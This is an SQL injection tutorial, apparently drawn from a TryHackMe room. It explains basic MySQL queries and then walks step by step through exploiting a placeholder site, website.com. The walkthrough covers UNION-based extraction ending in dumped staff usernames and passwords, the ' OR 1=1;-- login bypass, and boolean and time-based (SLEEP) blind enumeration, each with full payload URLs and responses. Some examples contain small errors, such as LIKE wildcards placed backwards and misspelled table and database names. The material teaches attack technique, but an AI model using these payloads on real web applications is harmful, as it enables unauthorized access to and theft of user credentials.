SQL INJECTION
EXPLOITATION
SQL (Structured Query Language) is a language used for querying databases. These queries are known as statements and can be used to retrieve a lot of information from databases.
SQL injections can pose a large threat to web apps that contain a lot of sensitive information in tables such as PII, customer accounts, and passwords. Successful SQL attacks can lead to a hacker being able to steal, modify, and delete sensitive information from databases.
WHAT IS A DATABASE?
In general, a database is an organized collection of information stored in a computer system. Databases are managed by DBMS (Database Management Systems). These DBMS in conjunction with the data it manages along with any other applications associated with them make up a database system, sometimes simply called a database.
As stated above, SQL is a programming language used by nearly all relational databases to query, manipulate, and define data and to provide database administrators with access control.
Below are some common database types. For more types of databases, check out this guide by Oracle.
Relational databases: Relational databases became dominant in the 1980s. Items in a relational database are organized as a set of tables with columns and rows. Relational database technology provides the most efficient and flexible way to access structured information. Common types of relational databases include MySQL, Microsoft SQL Server, Access, PostgreSQL, and SQLite.
NoSQL databases: A NoSQL, or nonrelational database, allows unstructured and semi-structured data to be stored and manipulated (in contrast to a relational database, which defines how all data inserted into the database must be composed). NoSQL databases grew popular as web applications became more common and more complex. Common types of non-relational or NoSQL databases include MongoDB, Cassandra and ElasticSearch.
Object-oriented databases: Information in an object-oriented database is represented in the form of objects, as in object-oriented programming.
Distributed databases: A distributed database consists of two or more files located in different sites. The database may be stored on multiple computers, located in the same physical location, or scattered over different networks.
OLTP databases. An OLTP database is a speedy, analytic database designed for large numbers of transactions performed by multiple users.
Self-driving databases: The newest and most groundbreaking type of database, self-driving databases (also known as autonomous databases) are cloud-based and use machine learning to automate database tuning, security, backups, updates, and other routine management tasks traditionally performed by database administrators.
Open source databases: An open source database system is one whose source code is open source; such databases could be SQL or NoSQL databases.
Cloud databases: A cloud database is a collection of data, either structured or unstructured, that resides on a private, public, or hybrid cloud computing platform. There are two types of cloud database models: traditional and database as a service (DBaaS). With DBaaS, administrative tasks and maintenance are performed by a service provider.
COMMON QUERIES
This section will focus on common MySQL commands. While other databases servers may have their own syntax, most will operate in a similar way. It's worth noting that SQL syntax is not case sensitive.
SELECT
WILDCARD SELECT
The SELECT query is used to retrieve data from a database. The most simple way to do this is to use a wildcard operator to retrieve all the data from the users table.
ex: SELECT * from users;
The word select instructs the database that we want to pull some data. The * is the wildcard, so it tells the database that we want to retrieve all the columns from the table. from specifies which table we will pull the columns from, in this case, users was specified in the query. The ; simply tells the database that this is the end of the query.
SPECIFIED FIELD SELECT
To specify certain fields to retrieve information from, you would simply enter the name of the field after separated by commas as shown below:
ex: SELECT username,password from users;
This query would only return the username and passwords columns and not any others that could be present in the table.
LIMITED ROW SELECT
Some tables can have thousands of rows of information. To specify a limit of rows of data to display, you can use the LIMIT operator in a query. Simply add LIMIT followed by a number before the end of the query to specify the number of rows that will be retrieved. The following query would retrieve the data in the first row, but from all the columns of the users table.
ex: SELECT * from users LIMIT 1;
WHERE CLAUSE
The where clause is how you can fine-tune what sort of data will be returned. If you are trying to retrieve specific information from the table, this clause is helpful.
The following query would return all data from any field where the value of the username was admin. In this example, any data from any username that is admin would be retrieved from the users table.
SELECT * from users where username='admin';
Alternatively you can use the "not equal" operator (!=) to retrieve all other data except the specified value. In this example, any data from any username that is not admin would be returned.
SELECT * from users where username != 'admin';
As with most programming languages, conditional operators can be used to create more specific queries. You can use or to display results that match any of the specified data being queried
SELECT * from users where username='admin' or username='john';
An and operator will only return results that match all conditions.
SELECT * from users where username='admin' and password='password123';
The like clause allows for users to find data by using partial matches. It's middle ground between using wildcards (which retrieve all data) and specifying certain words (which will only trigger if an exact match is found). The like clause enables users to search for words that start with, contain, or end with certain characters. To do this, you would use the % symbol as a type of wildcard.
To specify words that begin with certain characters, write those characters followed by %. The example below would return all rows for usernames that start with the letter a.
SELECT * from users where username like '%a';
Similarly, to search for words that end with any specific characters write the % followed by the characters you want to search by. The example below would retrieve all rows for usernames that end with the letter a.
SELECT * from users where username like 'a%';
You can also search for characters inside a other characters placing two % symbols on either side of the characters you want to search for. The example below would retrieve all rows with usernames that have the letter a inside the word.
SELECT * from users where username like '%a%';
UNION
The UNION statement is used when you want to combine the results of two or more SELECT statements from any number of tables. The main limitations of the UNION statement are as follows:
Each SELECT statement being joined should have the same number of columns
The columns must be of a similar data type
The column order has to be the same
To join two or more SELECT statements, simple write UNION to join each one to the query.
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;
From what we can see of this example, this UNION should work. Both SELECT statements are specifying three columns, the columns are similar in the type of data they contain (company names with customer names, company addresses with customer addresses, and the city and postcodes for these addresses). Finally, the order in which they appear in the query aligns. This means that the information pulled from the suppliers and the customers table will be merged into a new table.
INSERT
The INSERT statement tells the database we wish to insert a new row of data into the table. "into users" tells the database which table we wish to insert the data into, "(username,password)" provides the columns we are providing data for and then "values ('bob','password');" provides the data for the previously specified columns.
ex: insert into users (username,password) values ('bob','password123');
UPDATE
The UPDATE statement tells the database we wish to update one or more rows of data within a table. You specify the table you wish to update using "update %tablename% SET" and then select the field or fields you wish to update as a comma-separated list such as "username='root',password='pass123'" then finally similar to the SELECT statement, you can specify exactly which rows to update using the where clause such as "where username='admin;".
ex: update users SET username='root',password='pass123' where username='admin';
This query would find all rows where the username is admin and then within these rows, update the usernames to root and it would update all the password values in these rows to pass123.
You should see how dangerous it would be for an attacker to have the ability to update databases with these SQL commands. With this commands, they could search for and change any values in these rows, potentially hijacking control of private user credentials stored in a database.
DELETE
The DELETE statement tells the database to delete one or more rows of data. Apart from missing the columns you wish to be returned, the format of this query is very similar to the SELECT. You can specify precisely which data to delete using the where clause and the number of rows to be deleted using the LIMIT clause.
The following query would delete all data in the users table:
delete from users;
While the following query would only delete rows where the username value is "martin:"
delete from users where username='martin';
Note how conditional operators and clauses can be used in conjunction with different statements in order to provide more specificity to the query.
SQL INJECTIONS
An SQL injection is when SQL commands are input into web applications by any means in order to retrieve, modify, or delete data from databases. There are three main types In-Band, Out-of-band, and Blind which will be discussed below:
- IN-BAND SQL INJECTION
In-Band SQL Injection is the easiest type to detect and exploit; In-Band just refers to the same method of communication being used to exploit the vulnerability and also receive the results, for example, discovering an SQL Injection vulnerability on a website page and then being able to extract data from the database to the same page.
ERROR BASED SQLi
One common way to enumerate a database is to take advantage of error messages that reveal information that could be used to target information in that database with an SQL injection.
According to Acunetix.com "Error-based SQLi is an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database. While errors are very useful during the development phase of a web application, they should be disabled on a live site, or logged to a file with restricted access instead."
UNION BASED SQLi
The other most common type of in-band SQLi technique is to use the UNION operator. This technique involves using the UNION operator to combine the results of two or more SELECT statements into a single readable result that would be returned in the HTTP response.
Having information such as the names of tables in a database would help the process, but it is also possible to use brute force to make multiples attempts to combine multiple selections of data with the UNION operator by changing the SELECT statements until two statements of equal length are matched.
- IN BAND SQLi EXAMPLE
Let's look at an example of how an in band SQLi exploit might work. Let's say you are trying to perform an SQLi on the website.com. You notice that the website is made up of different articles. The first article shows up as https://website.com/article?id=1 in the URL. You can change the id to different numbers in the URL to make different articles appear.
Let's first try to trigger an error message to see if we can learn anything about how the site processes HTTP commands. A common way to produce an error message is to add an apostrophe or quotation mark after the ID#. So let's do that.
https://website.com/article?id=1'
When we add the apostrophe after the 1, the website gives us the following error message:
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
It may not seem like a lot, but this error message tells us that there is an SQL injection vulnerability. How do we know this? Well, the fact that we have an SQL error code tells us that our HTTP input is being processed directly as an SQL command. The input has not been sanitized. This means that anyone can use commands such as STATEMENT and UNION to extract information from the database by inserting them into the URL. So now we can try a UNION based SQLi.
Before jumping into that let's take a look at our URL and understand what SQL operation it's supposed to produce.
https://website.com/article?id=1
This is tricky because we don't see any of the SQL commands we talked about earlier. But let's think about what the website is doing. It's specifying an article with the id of 1. What happens when we enter this URL in our browser? Think about what we are telling it to do with article 1. We are asking the browser to display the article. So if we look at the SQL operators and commands we looked at, the most likely SQL command that this URL would be making to the SQL database is SELECT.
It makes sense, right?
By accessing the article through that URL, you're not deleting, or editing, or joining any data, the URL is simply telling the database that stores all the site's information to retrieve the information in order to display it.
So even though its invisible, we now know that this portion of the URL /article?id=1 is likely making an SQL SELECT command to the database.
In this case, the actual SQL Query happening behind the scenes is select * from article where id = 1 but we wouldn't be able to know that from the information in the browser. All we can do is manipulate the URL input and see if we can learn anything else. Let's try a UNION command to see what happens. We will add UNION SELECT 1 to out URL.
https://website.com/article?id=1 UNION SELECT 1
And voila! We get the following error message:
SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns
Remember that in the world of pentesting, what may seem like a failed attempt or error can still be incredibly valuable. In this case, we get an error message that confirms our suspicion that the URL was sending out an SQL SELECT command. It also recognized our UNION command to try to join the two selections, BUT, it did not work because both SELECT statements provided have a different number of columns. That is also very revealing. We don't know how many columns the data known as "article?id=1" in the URL contains in the original database, but we know that our selection doesn't match the number of columns which is a pre-requisite for the UNION operator to work.
Good first try, but we are not giving up that easily. What's the next logical step? Keep modifying our UNION payload until we get one that is valid. Let's add another field to our selection to see what happens.
https://website.com/article?id=1 UNION SELECT 1,2
Same error: SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns
So let's modify it again:
https://website.com/article?id=1 UNION SELECT 1,2,3
Success???
My First Article
Article ID: 1
Hi and welcome to my very first article for my new website...
So doing that just gave us the article again. What gives?
Well, the article is being displayed again because somewhere in the website's code, it tells the browser to display the first result. Since the article ID is 1, it's just showing us that result and ignoring the rest of the command.
To get around this, we will set the article id from 1 to 0 in order to have it so that the first query produces no results. Doing so should now produce the values of columns 1, 2, and 3.
https://website.com/article?id=0 UNION SELECT 1,2,3
And now the information displaying in the browser is this:
2
Article ID: 1
3
This isn't very helpful as we have some random values but don't really know what these values are referring to. Our next goal should be to learn more about the database. Let's use a new operator to do this. We will replace the 3 with database(). This will now show the name of the database in the spot where the 3 used to be displayed.
https://website.com/article?id=0 UNION SELECT 1,2,database()
Now, we see the following:
2
Article ID: 1
sqli_one
So now that we know the name of the database, we can gather a list of tables in this database with the following command:
https://website.com/article?id=0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
Let's break this new payload down.
The method group_concat() takes a specified column, in this case table_name since we want to find the table names, and returns the results of these values from multiple rows as one text string separated by commas.
Information_schema is the name of a database that every user of the database has access to and contains information about all the databases and tables that a user has access to. Think of it as a directory of databases. In this query, we want to find and list all the tables in the sqli_one database, which we obtained from out last payload.
Running this payload gives us the following in our browser:
2
Article ID: 1
article,staff_users
So now, we can see the names of the tables contained in this database being displayed as the third returned value. There are only two tables, the first called articles and the second called staff_users.
If our purpose was to obtain sensitive data such as passwords and usernames, the second table would be of interest to us. Let's reuse the payload that got us the names of the tables in this database, but this time we will modify it to show us
https://website.com/article?id=0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff-users'
Taking what you know about the previous payload, you should notice the differences and anticipate the result. We don't want to know table names, we already have them, and we know what table we want to look into. What we want to know this time, are the names of the column inside the "staff-users" table. Maybe the table just contains first and last names, or perhaps it contains passwords, too. We won't know until we can see the types of columns inside. So we modify the payload to concatenate column names instead. At the end, we change the name of the database to the name of the table to specify WHERE we want to full the information from.
The result:
2
Article ID: 1
id,username,password
So now we know this table is storing staff ids, usernames, and passwords. If we were leakers or bad actors, then we just hit the payload. The last step would be to retrieve and display the values in the usernames and password column.
https://website.com/article?id=0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
This query should be easier to read. We are again asking to concatenate the username and password values. We add a ':" between the username and password so that they will be separated by a colon and we also add a SEPARATOR in the form of an HTML <br> tag which will make it so that each username and password pair will be displayed on a separate line to improve readability.
This gives us the following result:
2
Article ID: 1
admin:p4sswordjimbob:meghan123jsmith:Fid0!
And just like that, we now have access to all the staff usernames and passwords with an SQLi in-band exploit.
- BLIND SQL INJECTION
But what happens when we don't have the benefit of being able to see the error messages being returned to our browser? This is what we call a blind or inferential SQL injection.
According to Acunetix.com Blind or "Inferential SQL Injection, unlike in-band SQLi, may take longer for an attacker to exploit, however, it is just as dangerous as any other form of SQL Injection. In blind SQLi attack, no data is actually transferred via the web application and the attacker would not be able to see the result of an attack in-band (which is why such attacks are commonly referred to as “blind SQL Injection attacks”). Instead, an attacker is able to reconstruct the database structure by sending payloads, observing the web application’s response and the resulting behavior of the database server."
The two types of blind SQL Injection are Blind-boolean-based SQLi and Blind-time-based SQLi.
- AUTHENTICATION BYPASS
From the SQLi room at tryhackme.com: "One of the most straightforward Blind SQL Injection techniques is when bypassing authentication methods such as login forms. In this instance, we aren't that interested in retrieving data from the database; We just want to get past the login.
Login forms that are connected to a database of users are often developed in such a way that the web application isn't interested in the content of the username and password but more whether the two make a matching pair in the users table. In basic terms, the web application is asking the database "do you have a user with the username bob and the password bob123?", and the database replies with either yes or no (true/false) and, depending on that answer, dictates whether the web application lets you proceed or not.
Taking the above information into account, it's unnecessary to enumerate a valid username/password pair. We just need to create a database query that replies with a yes/true.
Let's say there's a simple login form on a website with a username and password input field.
The SQL query to the website's database might look like this:
select * from users where username='%username%' and password='%password%' LIMIT 1;
The %username% and %password% values are taken from the login form fields.
To make this into a query that always returns as true, we can enter the following into the password field:
' OR 1=1;--
Which turns the SQL query into the following:
select * from users where username='' and password='' OR 1=1;
Because 1=1 is a true statement and we've used an OR operator, this will always cause the query to return as true, which satisfies the web applications logic that the database found a valid username/password combination and that access should be allowed.
- BOOLEAN-BASED BLIND SQLi
Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.
Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database, character by character.
- BOOLEAN-BASED BLIND SQLi EXAMPLE
CONFIRMING SQLi VULNERABILITY
Let's say you have access to an URL that's connected to an API that checks to see if a certain username is taken.
https://website.com/checkuser?username=admin
If the value entered, such as admin is already in use, you get an message of {"taken":true} in the browser. If we entered a username that was not in use, we would get {"taken":true}. On its own, this discovery would be a helpful way to enumerate existing usernames if your method was to use a password cracking program to brute force your way in. There is, however, a way to exploit this particular site with an SQL injection that will give you all the passwords and usernames in the table with patience and a lot of attempt.
How would we use SQL to enumerate the database? Well, we've established that we can get a true or false response with this API on a valid entry. This means that we could employ a Boolean-based blind SQLi as long as we are able to have our SQL queries in the URL run against the website's database.
We can assume that hidden in this URL is an SQL query. After all, whatever API is being used to check if a username is available must be sending a request to a database somewhere in the web app's directory. With enough experience with SQL commands, you may already know that this URL is likely sending the following SQL command to retrieve the right username for the API to process.
select * from users where username = 'admin' LIMIT 1
Let's look at the URL in your browser again.
https://website.com/checkuser?username=admin
Let's first find a username that isn't being used to begin our SQL digging. We don't want an unclaimed username to give us a false positive, so doing this will ensure that a "true" output will be referring to the SQL validity, not the username validity.
For this purpose let's say we enter admin123 and find that it's not taken. So let's try a basic UNION command like the in-band example. The only difference here is that instead of seeing an error message, you will get "false" if the request is invalid, and "true" if the request is valid.
https://website.com/checkuser?username=admin123' UNION SELECT 1;--
So now the SQL query to the web app becomes:
select * from users where username = 'admin123' UNION SELECT 1;-- ' LIMIT 1
This gives us a false output, but don't be discouraged. There are several reasons why the output is false, and one of them is that we only provided one field. If the table that the username is contained in has more than one column then we would get a false output. Let's try adding a new field one at a time until we get a "true" output.
After adding 2 and 3 to the query, we get this along with a true output.
Query: select * from users where username = 'admin123' UNION SELECT 1,2,3;-- ' LIMIT 1
Output: {"taken":true}
This true output cannot mean that admin123 is taken, after all, we have not changed it and every previous attempt was false. What this "true" output means, is that we've tricked the API into giving us an indication that the SQL query we have sent is valid, and it has returned this valid request as a "true" output.
If the browser were displaying the results of our SQL query then we'd be able to see it displayed, unfortunately, since this is a blind-Boolean SQLi we will just have to keep enumerating through dozens of false attempts until we get a "true" output, telling us that we are on the right track. Think of it as a game of "hot" and "cold" or having a friend who can see both your attempts and the database info but can only confirm with one or two knocks if your input is valid or not. It's not the most efficient way to communicate, but over time you can enumerate the names of the database, tables, columns, and even values by using wildcards.
FINDING THE DATABASE NAME
The next step after confirming the number of columns would be to enumerate the database.
We can find the database name by using the built-in database() method and then trying to guess the name using the like operator along with the % symbol which is a wildcard in SQL.
Let's just start with the following query:
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like '%';
This should give us the "true" output, meaning that this query is returned as valid. Since we are just using just the wildcard, we know it will return "true" assuming that the rest of the query is set up correctly and teruend to the API as valid. So now it's time to exploit the binary to get the database name.
The trick will be to first find the first letter of the database name by enumerating one character followed by the % symbol. It will turn up false until the right starting character is found. After that, it's a matter of repeating that until you can get the entire name figured out.
We'll start with "q" since it's the top-left character on our keyboard and it will be easier and faster to enumerate in rows of characters on our keyboard rather than doing it alphabetically.
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like 'q%';
{"taken":false}
Okay, so we've eliminated "q" as the first letter of the database. May not seem like much, but it's a start. If we continued this way, replacing the q with w, then e, them r and so on, we should see the same "false" output until we get to "s"
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like 's%';
{"taken":true}
Okay, now we have the first letter. What now? Find the second character using the same method. Since we've already found the "s," we'll keep that where it is and enumerate for the second character until we find it. Our next attempt would look like this if we are starting with "q" again.
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 where database() like 'sq%';
Again, we are only changing the next character, not the one we've found. We will do this over and over again until we've found the entire database name.
Some database names may be real words. In this case, guessing what it could be or avoiding unlikely pairings of characters could save time, but the only way to guarantee finding the database will be to enumerate every possible character: including numbers, and special characters. This can take a long time.
How will we know once we have it?
Once you think you have the word or adding an extra character gives false with every possible character then you can test it to see if it's a match. Instead of the like method, we will now use the following query to see if we have our database name. If we have the full correct name, it will return true, if not, it will return false.
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 where database() = 'sql_databse';
{"taken":true}
We've replaced the like method with = and gotten rid of the wildcard since we aren't searching for approximations anymore, we want to confirm that the database name we've discovered through brute force enumeration is a match. Since we have gotten a true output, then yes, we have indeed found the database's name.
FINDING THE TABLE NAMES
Now that we have the database's name, we can move to the next step, which is to find the names of the tables in the database. Here we have to be careful since there will likely be more than one table name. This means that some tables may be harder to find and would require a lot more enumeration to find all the possible table names.
Consider this: there is a table named: usernames and another called usernumbers. If we use our left-to-right method, then we would find usernumbers first since the "u" is on the top row of letters and the "a" is on the second row. You may go back to check for more table names by changing the first letter, but how likely is it that you will test out every since character for every single position even after you have found a matching letter?
Let me explain further.
Let's say you have found usern so far. Like I said before, you will get a correct match for u and likely move onto the next character instead of continuing to enumerate to find other possible matches. But if you did so, you would see that an a in that spot would also return a "true" value. Now you have a branch in your operation, two possibilities that can be enumerated. But what if there's a third table called usernativeid? Well, that complicated things further since you would get a "true" output for the t before getting one for the m, further decreasing the chances that you will find usernames by doing simple brute force enumeration.
If you extrapolate then you'd see that unless you tried every single possible combination of characters, it's possible that you could miss a lot of possible table names. To check every single possible combination of characters in a 5-character word you're looking at 120 possible combinations. But this number grows exponentially. If we add 3 more characters to find every possible combination of an 8 character table, we now have 40,320 possible combinations!
This is where rainbow tables and common sense guesses could save a lot of time. If you guessed that usernames could be a possible table name you could get lucky and bypass a lot of enumeration, but you run the risk of skipping over a lot of possibilities.
With that in mind, we can begin our search for table names with the following query:
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sql_database' and table_name like 'a%';
Thus begins our search for table names.
Note the name of the database (sql_databse) that we found in the previous step. Without this information, we would not have been able to specify in which database to run this table name search.
With this method, assuming you are going left to right starting with q you would first find a table by the name of users. You can continue to look for other table names, but generally, a table called users will contain usernames, passwords, and other sensitive information that a person taking the time to perform a blind SQLi would be looking for. So for this example, we will stop here for this step and see what's inside this table.
Since we can't display the contents of this table, we will need to continue getting "true" and "false" outputs to see if our guesses match what's inside.
FINDING THE COLUMN NAMES IN A SELECTED TABLE
The next step will be to figure out what columns are in this table. The method is similar to the one we used to search for tables inside the database, but notice the changes in red.
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sql_database' and table_name = 'users' and column_name like 'q%';
This process should be getting familiar now.
You would eventually be able to find three columns inside (which we knew from our UNION query earlier!): their names are username, ID, and password.
Once you find and confirm the first column name, it's a good idea to exclude it from the like method's results by adding and column_name !='(name of the column you want to exclude)' to the end of our query, but before the semi-colon that ends it. The != operator is known as a not-equal-to operator, basically the opposite of the = operator.
So let's say we find username first, and we want to exclude it from our further enumeration, we would do so like this:
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema = 'sql_database' and table_name = 'users' and column_name like 'q%' and column_name !='username';
Eventually, you would find all the columns you need. In this case, we are most interested in the username and password columns since the info in those two columns would allow us access to the admin login.
FINDING DATA ENTRIES IN THE SELECTED COLUMNS
With our columns discovered, we can begin to enumerate the information inside a column by targeting it with the like method once again.
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 from users where username like 'q%;
Notice how much simpler this query is than the last ones? The reason why is because we know the name of the table, and we know the columns. We can now specify that we want to know if there is an entry in the username column in the users table that begins with the letter q. If you know what username to target, then you can check it, but enumeration is still possible here if you are unsure of the available usernames.
You would do the same for the password column. Note the difference in the query:
https://website.com/checkuser?username=admin123' UNION SELECT 1,2,3 from users where password like 'q%;
You could, with sufficient time and attempts, enumerate any username and password combination doing this, although complex passwords with many characters could take an unwieldy amount of time to enumerate. This is why having complex and long passwords are always preferable from a security standpoint.
- TIME-BASED BLIND SQLi
But what if there's not even a Boolian output that can tell you if an SQL query is valid or not?
In this case, we can make one.
There is a method called SLEEP() which executes a time delay. When used in conjunction with the UNION statement, it will only execute if the UNION SELECT statement is valid.
This means that we have created our own indicator of whether a statement returns as "true" or "false" by creating a time delay that will only trigger when the rest of the statement is true.
So if you know that the response time from the webserver you're interacting with is an average of 0.2 seconds with no major deviation from that response time, creating a delay of 5 seconds should give you a very noticeable difference in response time. If you expect .2 seconds then adding a 5-second delay will likely produce a response time of 5.2 seconds, and if you have a way to measure this reply time, it will be an even more accurate indicator of whether the SQP query returned true or false.
In a typical time-based blind SQLi an HTTP response will be returned with a delay, or returned immediately. This attack is very slow (especially on large databases) since an attacker would need to enumerate a database character by character and would need to factor in the set delay to confirm every TRUE reply from the SQL database.
The process and steps are nearly identical to the Boolian-based blind SQLi example from the previous section, but the difference is in the addition of the sleep method. The following query will cause a 5-second delay before we receive the HTTP reply from the server if the SQL query returns TRUE.
https://website.com/checkuser?username=admin123' UNION SELECT SLEEP(5),2,3 where database() like 'q%';
You may be confused as to why we are adding sleep after the select statement. After all, isn't this where you would add the column names of the second table you want to join? Yes. By adding the sleep method in that spot we are specifying the first column, to which we have added 2 and 3 to get to the number of columns in the table that the first select operator is drawing the data from. We are essentially killing 2 birds with one stone by using sleep both as a column name for our union statement while having it run if the union statement is valid.
After that, we simply continue to add to our SQL query, noting that when it returns FALSE, the sleep method will not run. This will be our only indication of the status of the SQL reply.
- OUT-OF-BAND SQL INJECTION
According to Acunetix.com "Out-of-band SQL Injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL Injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.
Out-of-band techniques offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).
Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls."